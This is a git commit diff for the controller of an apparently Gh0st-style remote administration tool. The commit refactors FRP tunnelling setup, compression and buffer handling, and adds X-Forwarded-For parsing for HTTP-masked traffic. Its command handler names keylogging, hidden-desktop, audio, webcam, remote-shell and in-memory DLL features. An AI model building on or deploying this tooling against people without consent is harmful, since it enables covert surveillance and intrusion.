fix: #182 First command using HTTP protocol

This commit is contained in:
yuanyuanxiang
2025-08-10 17:15:32 +08:00
parent 493a476227
commit 303b5ef824
28 changed files with 154 additions and 152 deletions

View File

@@ -1009,7 +1009,8 @@ BOOL CMy2015RemoteDlg::OnInitDialog()
}
int m = atoi(THIS_CFG.GetStr("settings", "ReportInterval", "5").c_str());
int n = THIS_CFG.GetInt("settings", "SoftwareDetect");
m_settings = { m, sizeof(void*) == 8, __DATE__, n };
int usingFRP = master.empty() ? 0 : THIS_CFG.GetInt("frp", "UseFrp");
m_settings = { m, sizeof(void*) == 8, __DATE__, n, usingFRP };
std::map<int, std::string> myMap = {{SOFTWARE_CAMERA, "摄像头"}, {SOFTWARE_TELEGRAM, "电报" }};
std::string str = myMap[n];
LVCOLUMN lvColumn;
@@ -1037,11 +1038,8 @@ BOOL CMy2015RemoteDlg::OnInitDialog()
ShowMessage("使用提示", tip);
#ifdef _WIN64
if (!master.empty()) {
int use = THIS_CFG.GetInt("frp", "UseFrp");
if (use) {
m_hFRPThread = CreateThread(NULL, 0, StartFrpClient, this, NULL, NULL);
}
if (usingFRP) {
m_hFRPThread = CreateThread(NULL, 0, StartFrpClient, this, NULL, NULL);
}
#endif
@@ -1966,10 +1964,11 @@ VOID CMy2015RemoteDlg::MessageHandle(CONTEXT_OBJECT* ContextObject)
}
unsigned cmd = ContextObject->InDeCompressedBuffer.GetBYTE(0);
unsigned len = ContextObject->InDeCompressedBuffer.GetBufferLen();
// 【L】主机上下线和授权
// 【x】对话框相关功能
switch (cmd)
{
case TOKEN_GETVERSION: // 获取版本
case TOKEN_GETVERSION: // 获取版本【L】
{
// TODO 维持心跳
bool is64Bit = ContextObject->InDeCompressedBuffer.GetBYTE(1);
@@ -1983,7 +1982,7 @@ VOID CMy2015RemoteDlg::MessageHandle(CONTEXT_OBJECT* ContextObject)
SAFE_DELETE_ARRAY(resp);
break;
}
case CMD_AUTHORIZATION: // 获取授权
case CMD_AUTHORIZATION: // 获取授权【L】
{
int n = ContextObject->InDeCompressedBuffer.GetBufferLength();
if (n < 100) break;
@@ -2024,7 +2023,7 @@ VOID CMy2015RemoteDlg::MessageHandle(CONTEXT_OBJECT* ContextObject)
Sleep(20);
break;
}
case CMD_EXECUTE_DLL: // 请求DLL
case CMD_EXECUTE_DLL: // 请求DLL执行代码【L】
{
DllExecuteInfo *info = (DllExecuteInfo*)ContextObject->InDeCompressedBuffer.GetBuffer(1);
for (std::vector<DllInfo*>::const_iterator i=m_DllList.begin(); i!=m_DllList.end(); ++i){
@@ -2038,15 +2037,15 @@ VOID CMy2015RemoteDlg::MessageHandle(CONTEXT_OBJECT* ContextObject)
Sleep(20);
break;
}
case COMMAND_PROXY:
case COMMAND_PROXY:// 代理映射【x】
{
g_2015RemoteDlg->SendMessage(WM_OPENPROXYDIALOG, 0, (LPARAM)ContextObject);
break;
}
case TOKEN_HEARTBEAT: case 137:
case TOKEN_HEARTBEAT: case 137: // 心跳【L】
UpdateActiveWindow(ContextObject);
break;
case SOCKET_DLLLOADER: {// 请求DLL
case SOCKET_DLLLOADER: {// 请求DLL【L】
auto len = ContextObject->InDeCompressedBuffer.GetBufferLength();
bool is64Bit = len > 1 ? ContextObject->InDeCompressedBuffer.GetBYTE(1) : false;
int typ = (len > 2 ? ContextObject->InDeCompressedBuffer.GetBYTE(2) : MEMORYDLL);
@@ -2063,95 +2062,95 @@ VOID CMy2015RemoteDlg::MessageHandle(CONTEXT_OBJECT* ContextObject)
SendServerDll(ContextObject, typ==MEMORYDLL, is64Bit);
break;
}
case COMMAND_BYE: // 主机下线
case COMMAND_BYE: // 主机下线【L】
{
CancelIo((HANDLE)ContextObject->sClientSocket);
closesocket(ContextObject->sClientSocket);
Sleep(10);
break;
}
case TOKEN_DRAWING_BOARD:
case TOKEN_DRAWING_BOARD:// 远程画板【x】
{
g_2015RemoteDlg->SendMessage(WM_OPENDRAWINGBOARD, 0, (LPARAM)ContextObject);
break;
}
case TOKEN_DRIVE_LIST_PLUGIN: // 文件管理
case TOKEN_DRIVE_LIST_PLUGIN: // 文件管理【x】
{
g_2015RemoteDlg->SendMessage(WM_OPENFILEMGRDIALOG, 0, (LPARAM)ContextObject);
break;
}
case TOKEN_BITMAPINFO_HIDE: { // 虚拟桌面
case TOKEN_BITMAPINFO_HIDE: { // 虚拟桌面【x】
g_2015RemoteDlg->SendMessage(WM_OPENHIDESCREENDLG, 0, (LPARAM)ContextObject);
break;
}
case TOKEN_SYSINFOLIST: { // 主机管理
case TOKEN_SYSINFOLIST: { // 主机管理【x】
g_2015RemoteDlg->SendMessage(WM_OPENMACHINEMGRDLG, 0, (LPARAM)ContextObject);
break;
}
case TOKEN_CHAT_START: { // 远程交谈
case TOKEN_CHAT_START: { // 远程交谈【x】
g_2015RemoteDlg->SendMessage(WM_OPENCHATDIALOG, 0, (LPARAM)ContextObject);
break;
}
case TOKEN_DECRYPT: { // 解密数据
case TOKEN_DECRYPT: { // 解密数据【x】
g_2015RemoteDlg->SendMessage(WM_OPENDECRYPTDIALOG, 0, (LPARAM)ContextObject);
break;
}
case TOKEN_KEYBOARD_START: {// 键盘记录
case TOKEN_KEYBOARD_START: {// 键盘记录【x】
g_2015RemoteDlg->SendMessage(WM_OPENKEYBOARDDIALOG, 0, (LPARAM)ContextObject);
break;
}
case TOKEN_LOGIN: // 上线包
case TOKEN_LOGIN: // 上线包【L】
{
g_2015RemoteDlg->SendMessage(WM_USERTOONLINELIST, 0, (LPARAM)ContextObject);
break;
}
case TOKEN_BITMAPINFO: // 远程桌面
case TOKEN_BITMAPINFO: // 远程桌面【x】
{
g_2015RemoteDlg->SendMessage(WM_OPENSCREENSPYDIALOG, 0, (LPARAM)ContextObject);
break;
}
case TOKEN_DRIVE_LIST: // 文件管理
case TOKEN_DRIVE_LIST: // 文件管理【x】
{
g_2015RemoteDlg->SendMessage(WM_OPENFILEMANAGERDIALOG, 0, (LPARAM)ContextObject);
break;
}
case TOKEN_TALK_START: // 发送消息
case TOKEN_TALK_START: // 发送消息【x】
{
g_2015RemoteDlg->SendMessage(WM_OPENTALKDIALOG, 0, (LPARAM)ContextObject);
break;
}
case TOKEN_SHELL_START: // 远程终端
case TOKEN_SHELL_START: // 远程终端【x】
{
g_2015RemoteDlg->SendMessage(WM_OPENSHELLDIALOG, 0, (LPARAM)ContextObject);
break;
}
case TOKEN_WSLIST: // 窗口管理
case TOKEN_PSLIST: // 进程管理
case TOKEN_WSLIST: // 窗口管理【x】
case TOKEN_PSLIST: // 进程管理【x】
{
g_2015RemoteDlg->SendMessage(WM_OPENSYSTEMDIALOG, 0, (LPARAM)ContextObject);
break;
}
case TOKEN_AUDIO_START: // 语音监听
case TOKEN_AUDIO_START: // 语音监听【x】
{
g_2015RemoteDlg->SendMessage(WM_OPENAUDIODIALOG, 0, (LPARAM)ContextObject);
break;
}
case TOKEN_REGEDIT: // 注册表管理
case TOKEN_REGEDIT: // 注册表管理【x】
{
g_2015RemoteDlg->SendMessage(WM_OPENREGISTERDIALOG, 0, (LPARAM)ContextObject);
break;
}
case TOKEN_SERVERLIST: // 服务管理
case TOKEN_SERVERLIST: // 服务管理【x】
{
g_2015RemoteDlg->SendMessage(WM_OPENSERVICESDIALOG, 0, (LPARAM)ContextObject);
break;
}
case TOKEN_WEBCAM_BITMAPINFO: // 摄像头
case TOKEN_WEBCAM_BITMAPINFO: // 摄像头【x】
{
g_2015RemoteDlg->SendMessage(WM_OPENWEBCAMDIALOG, 0, (LPARAM)ContextObject);
break;
}
case CMD_PADDING: {
case CMD_PADDING: { // 随机填充
Mprintf("Receive padding command '%s' [%d]: Len=%d\n", ContextObject->PeerName.c_str(), cmd, len);
break;
}

View File

@@ -186,16 +186,17 @@ ULONG CBuffer::GetBufferLength() //
return len;
}
void CBuffer::Skip(ULONG ulPos) {
std::string CBuffer::Skip(ULONG ulPos) {
if (ulPos == 0)
return;
return "";
EnterCriticalSection(&m_cs);
std::string ret(m_Base, m_Base + ulPos);
MoveMemory(m_Base, m_Base + ulPos, m_ulMaxLength - ulPos);
m_Ptr -= ulPos;
LeaveCriticalSection(&m_cs);
return ret;
}
// <20>˺<EFBFBD><CBBA><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ƕ<EFBFBD><C7B6>̰߳<DFB3>ȫ<EFBFBD><C8AB>. ֻ<><D6BB>Զ<EFBFBD><D4B6><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʹ<EFBFBD><CAB9><EFBFBD><EFBFBD>.

View File

@@ -86,7 +86,7 @@ public:
BYTE GetBYTE(ULONG ulPos);
BOOL CopyBuffer(PVOID pDst, ULONG nLen, ULONG ulPos);
ULONG RemoveCompletedBuffer(ULONG ulLength);
void Skip(ULONG ulPos);
std::string Skip(ULONG ulPos);
protected:
PBYTE m_Base;

View File

@@ -589,12 +589,8 @@ BOOL WriteContextData(CONTEXT_OBJECT* ContextObject, PBYTE szBuffer, size_t ulOr
break;
}
bool usingZstd = ContextObject->CompressMethod == COMPRESS_ZSTD;
#if USING_LZ4
unsigned long ulCompressedLength = LZ4_compressBound(ulOriginalLength);
#else
unsigned long ulCompressedLength = usingZstd ?
ZSTD_compressBound(ulOriginalLength) : (double)ulOriginalLength * 1.001 + 12;
#endif
BYTE buf[1024];
LPBYTE CompressedBuffer = ulCompressedLength>1024 ? new BYTE[ulCompressedLength]:buf;
Buffer tmp(szBuffer, ulOriginalLength); szBuffer = tmp.Buf();

View File

@@ -18,14 +18,7 @@
// ZLIB ѹ<><D1B9><EFBFBD><EFBFBD>
#include "zlib/zlib.h"
#if USING_LZ4
#include "lz4/lz4.h"
#pragma comment(lib, "lz4/lz4.lib")
#define C_FAILED(p) (0 == (p))
#define C_SUCCESS(p) (!C_FAILED(p))
#define Mcompress(dest, destLen, source, sourceLen) LZ4_compress_default((const char*)source, (char*)dest, sourceLen, *(destLen))
#define Muncompress(dest, destLen, source, sourceLen) LZ4_decompress_safe((const char*)source, (char*)dest, sourceLen, *(destLen))
#else // ZSTD
// ZSTD
#include "zstd/zstd.h"
#ifdef _WIN64
#pragma comment(lib, "zstd/zstd_x64.lib")
@@ -42,7 +35,6 @@
#define Mcompress(dest, destLen, source, sourceLen) ZSTD_compress(dest, *(destLen), source, sourceLen, ZSTD_CLEVEL_DEFAULT)
#define Muncompress(dest, destLen, source, sourceLen) ZSTD_decompress(dest, *(destLen), source, sourceLen)
#endif
#endif
class IOCPServer : public Server
@@ -142,12 +134,7 @@ public:
m_iocpServer(pIOCPServer),
CDialog(nIDTemplate, pParent) {
sockaddr_in sockAddr;
memset(&sockAddr, 0, sizeof(sockAddr));
int nSockAddrLen = sizeof(sockaddr_in);
BOOL bResult = getpeername(m_ContextObject->sClientSocket, (SOCKADDR*)&sockAddr, &nSockAddrLen);
m_IPAddress = bResult != INVALID_SOCKET ? inet_ntoa(sockAddr.sin_addr) : "";
m_IPAddress = pContext->GetPeerName().c_str();
m_hIcon = nIcon > 0 ? LoadIcon(AfxGetInstanceHandle(), MAKEINTRESOURCE(nIcon)) : NULL;
}
virtual ~CDialogBase(){}

View File

@@ -76,7 +76,19 @@ protected:
virtual ~HeaderParser() {
Reset();
}
PR Parse(CBuffer& buf, int& compressMethod, const std::string &peer) {
std::string getXForwardedFor(const std::string& headers) {
const std::string key = "X-Forwarded-For: ";
size_t pos = headers.find(key);
if (pos == std::string::npos)
return "";
pos += key.size();
size_t end = headers.find("\r\n", pos);
if (end == std::string::npos)
return "";
std::string ip = headers.substr(pos, end - pos);
return ip;
}
PR Parse(CBuffer& buf, int& compressMethod, std::string &peer) {
const int MinimumCount = MIN_COMLEN;
if (buf.GetBufferLength() < MinimumCount) {
return PR{ PARSER_NEEDMORE };
@@ -86,10 +98,14 @@ protected:
ULONG srcSize = buf.GetBufferLength();
PkgMaskType maskType = MaskTypeUnknown;
ULONG ret = TryUnMask(src, srcSize, maskType);
std::string str = buf.Skip(ret);
if (maskType == MaskTypeHTTP) {
std::string clientIP = getXForwardedFor(str);
if (!clientIP.empty()) peer = clientIP;
}
if (nullptr == m_Masker) {
m_Masker = maskType ? new HttpMask(peer) : new PkgMask();
}
buf.Skip(ret);
if ((maskType && ret == 0) || (buf.GetBufferLength() <= MinimumCount))
return PR{ PARSER_NEEDMORE };

View File

@@ -62,11 +62,7 @@ BOOL CProxyMapDlg::OnInitDialog()
m_iocpLocal->m_TcpServer->GetListenAddress(ip, len, m_nPort);
CString strString;
sockaddr_in ClientAddress;
memset(&ClientAddress, 0, sizeof(ClientAddress));
int iClientAddressLength = sizeof(ClientAddress);
BOOL bResult = getpeername(m_ContextObject->sClientSocket, (SOCKADDR*)&ClientAddress, &iClientAddressLength);
strString.Format("%s - <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>", bResult != INVALID_SOCKET ? inet_ntoa(ClientAddress.sin_addr) : "");
strString.Format("%s - <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>", m_IPAddress);
SetWindowText(strString);
str.Format(_T("SOCKS <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>÷<EFBFBD><C3B7><EFBFBD><EFBFBD><EFBFBD>Ϊ: <127.0.0.1:%d>\r\n"), m_nPort);

View File

@@ -5,12 +5,8 @@
#pragma once
// <20>Ƿ<EFBFBD>ʹ<EFBFBD><CAB9>LZ4
#define USING_LZ4 0
#if !USING_LZ4
#define USING_ZSTD 1
#define USING_CTX 0
#endif
#ifndef _SECURE_ATL
#define _SECURE_ATL 1